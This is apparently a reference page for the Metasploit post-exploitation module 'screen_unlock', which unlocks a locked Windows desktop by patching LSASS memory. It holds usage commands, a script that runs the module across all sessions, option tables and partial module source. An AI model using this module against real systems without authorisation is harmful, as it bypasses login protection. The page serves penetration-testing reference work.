Windows Escalate Locked Desktop Unlocker - Metasploit


This page contains detailed information about how to use the post/windows/escalate/screen_unlock metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Windows Escalate Locked Desktop Unlocker
Module: post/windows/escalate/screen_unlock
Source code: modules/post/windows/escalate/screen_unlock.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module unlocks a locked Windows desktop by patching the respective code inside the LSASS.exe process. This patching process can result in the target system hanging or even rebooting, so be careful when using this module on production systems.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/escalate/screen_unlock

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/escalate/screen_unlock
msf post(screen_unlock) > show options
    ... show and set options ...
msf post(screen_unlock) > set SESSION session-id
msf post(screen_unlock) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/escalate/screen_unlock")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/escalate/screen_unlock post exploitation module looks in the msfconsole:

msf6 > use post/windows/escalate/screen_unlock

msf6 post(windows/escalate/screen_unlock) > show info

       Name: Windows Escalate Locked Desktop Unlocker
     Module: post/windows/escalate/screen_unlock
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  L4teral <l4teral[4t]gmail com>
  Metlstorm

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  REVERT   false            no        Enable this option to revert the in-memory patch and enable locking again
  SESSION                   yes       The session to run this module on.

Description:
  This module unlocks a locked Windows desktop by patching the 
  respective code inside the LSASS.exe process. This patching process 
  can result in the target system hanging or even rebooting, so be 
  careful when using this module on production systems.

Module Options

This is a complete list of options available in the windows/escalate/screen_unlock post exploitation module:

msf6 post(windows/escalate/screen_unlock) > show options

Module options (post/windows/escalate/screen_unlock):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   REVERT   false            no        Enable this option to revert the in-memory patch and enable locking again
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/escalate/screen_unlock post exploitation module:

msf6 post(windows/escalate/screen_unlock) > show advanced

Module advanced options (post/windows/escalate/screen_unlock):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/escalate/screen_unlock module can do:

msf6 post(windows/escalate/screen_unlock) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/escalate/screen_unlock post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/escalate/screen_unlock) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This platform is not supported with this Script!

Here is a relevant code snippet related to the "This platform is not supported with this Script!" error message:

33:	      OptBool.new('REVERT', [false, "Enable this option to revert the in-memory patch and enable locking again", false])
34:	    ])
35:	  end
36:	
37:	  def unsupported
38:	    print_error("This platform is not supported with this Script!")
39:	    raise Rex::Script::Completed
40:	  end
41:	
42:	  def run
43:	    revert = datastore['REVERT']

Found signature does not match

Here is a relevant code snippet related to the "Found signature does not match" error message:

63:	        p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
64:	        dllbase = p.image["msv1_0.dll"]
65:	
66:	        sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0]
67:	        if sig != target[:sig]
68:	          print_error("Found signature does not match")
69:	          next
70:	        end
71:	        old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0]
72:	        if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))
73:	          print_error("Found code does not match")

Found code does not match

Here is a relevant code snippet related to the "Found code does not match" error message:

68:	          print_error("Found signature does not match")
69:	          next
70:	        end
71:	        old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0]
72:	        if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))
73:	          print_error("Found code does not match")
74:	          next
75:	        end
76:	
77:	        print_status("Patching...")
78:	        new_code = revert ? target[:orig_code] : target[:patch]

Failed!

Here is a relevant code snippet related to the "Failed!" error message:

81:	        written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0]
82:	        if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert))
83:	          print_status("Done!")
84:	          raise Rex::Script::Completed
85:	        else
86:	          print_error("Failed!")
87:	          next
88:	        end
89:	      end
90:	    end
91:

No working target found

Here is a relevant code snippet related to the "No working target found" error message:

84:	          raise Rex::Script::Completed
85:	        else
86:	          print_error("Failed!")
87:	          next
88:	        end
89:	      end
90:	    end
91:	
92:	    print_error("No working target found")
93:	  end
94:	end

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See Also

Check also the following modules related to this module:

Authors

  • L4teral <l4teral[4t]gmail com>
  • Metlstorm

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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